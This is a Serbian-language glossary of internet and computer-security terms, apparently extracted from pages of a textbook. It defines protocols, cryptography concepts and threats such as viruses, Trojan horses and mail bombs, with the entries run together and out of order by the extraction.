ipak prikazuju sam HTML kod. Koristi se kao sredstvo za smanjenje rizika od neželjenog pristupa sistemu ili lokalnom računaru. jasno definisan metod prezentovanja tekstualnih i multimedijalnih materijala za uporebu na World Wide Web-u. ali u svrhu kriptografije moraju ispuniti dodatne zahteve. kablovima i satelitima koji pruzaju pristup i medjusobnu razmenu informacija. Internet (Net) . HTTP . Haker .Hypertext Markup Language. FTP .Računar koji je povezan na mrežu i obezbeđuje određene servise za korisnike te mreže. protokol koji se koristi za prenošenje fajlova od korisnika do Web stranica i obrnuto.Hypertext Transport Protocol.File Transfer Protocol.Firewall .osoba koja pokušava da probije zaštitu na računarskom sistemu. Podaci se prenose preko URL-a. Ovim protokol kojim je moguće preuzeti sadržaj nekog drugog sajta sa odgovarajućim korisničkim imenom i šifrom. HTML . Postoje mnogi novi korisnicki programi koji sluze za izdravu Web prezetnacija. neformalna mreža koja povezuje veliki deo svetskih kompjuterskih mreža.

49 . specijalno aplikativan za World Wide Web.služi za identifikaciju lokacije svakog člana mreže ISP . skript jezik za izradu Web aplikacija. što znači da može biti verifikovan samo od određenog korisnika. Mail bomb . Link . InfoSky je ISP firme Informatika Java . bilo sta) koja upućuje na drugu Web stranicu. razvijen 1990 od korporacije Sun Microsystems.odnosi se na vremenski period kada ste povezani na Internet Password . komercijalni softver za implementaciju asimetrične kriptografije PHP – Hypertext Processor.četiri broja između 0 i 255 međusobno odvojenih tačkom. servisa i standarda za podršku aplikacijama koje koriste kriptografiju sa javnim ključem. slika. POP3 . Uklanjanje html tagova) veoma bitna. Za razliku od digitalnog potpisa MAC se poredi i verifikuje pomoću istog ključa. PKI – Infrastruktura kriptografije sa javnim ključem (Public Key Infrastructure) predstavlja skup protokola.veliki broj email-ova poslatih jednoj osobi ili sistemu sa ciljem da prouzrokuje pad servera. naredbi operativnog sistema. MD5 – Hash funkcija. Meta karakteri .Odredjena deonica jedne Web strane (tekst.karakteri koji utiču na ponašanje naredbi programskog jezika. tako da je kanonizacija podataka (pretvaranje u standardne karaktere) pre stripping-a (npr. Meta karakteri mogu biti kodirani na način koji nije lako uočljiv. pojedinačnih programskih procedura.Internet Service Provider. Internet posrednički centar. kao na i upite baza podataka.lozinka kojom se korisnik (uz korisničko ime) služi za identifikaciju na mreži. firma koja pruža Internet usluge. On-line .Objektno orijentisan programski jezik. protokol koji se koristi za preuzimanje email-ova Port .IP adresa .tačka kroz koju podaci mogu ući ili napustiti mrežu.Post Office Protocol. MAC – Autentifikacioni kod poruke (Message Authentication Code) je autentifikaciona reč izvedena iz poruke korišćenjem tajnog ključa. PGP – Pretty Good Privacy.

Virus . Server .Uniform Resource Locator.Simple Mail Transfer Protocol. Trojan).izraz koji opisuje gledanje Web sajtova na Internetu. 50 . slušanje muzike. Router . ili popularnije zvana Internet adresa. SMTP . protokol koji se koristi za slanje email-ova Spam ..Kolekcija tekstova. World Wide Web .WWW . Plug-in .Programski kod koji ima sposobnost razmnožavanja. uglavnom oglasnog tipa ili korisničke usluge.neželjeni email koji je poslat za više korisnika odjednom.. slika.Dodatni program koji se izvršava unutar Browsera dajući mu dodatne mogućnosti pregleda određenih tipova dokumenata: gledanje video klipova. filmova. URL . Zabranjena radnja. napravljen da zaobidje sigurnosnu zaštitu na sistemu. knjiga. skup protokola za komunikaciju na Internetu Trojanski konj (Trojan horse. WWW nije Internet vec predstavlja samo njegov deo. Surf . izazivajući štetu na njima i sistemu uopšte.POST – HTTP POST metod čija je funkcija slanje podataka od HTTP klijenta do servera. TCP/IP .Transmision Control Protocol/ Internet Protocol. Referer – parametar HTTP zaglavlja. naizgled bezopasan program klijent-server tipa. kontrolišući mrežni saobraćaj između njih. na Web stranicama povezanih preko Interneta. tako što "zakači" svoje kopije za druge fajlove na sistemu. Podaci se prenose u telu HTTP zahteva. zvukova. koji nosi informaciju sa kog domena se upućuje HTTP zahtev.računar koji čuva informacije koje se dele širom mreze i odgovara na zahteve za informacijama od strane klijenata.uređaj koji omogućava povezivanje nekoliko regiona (podmreža) u jednu mrežu.

51 .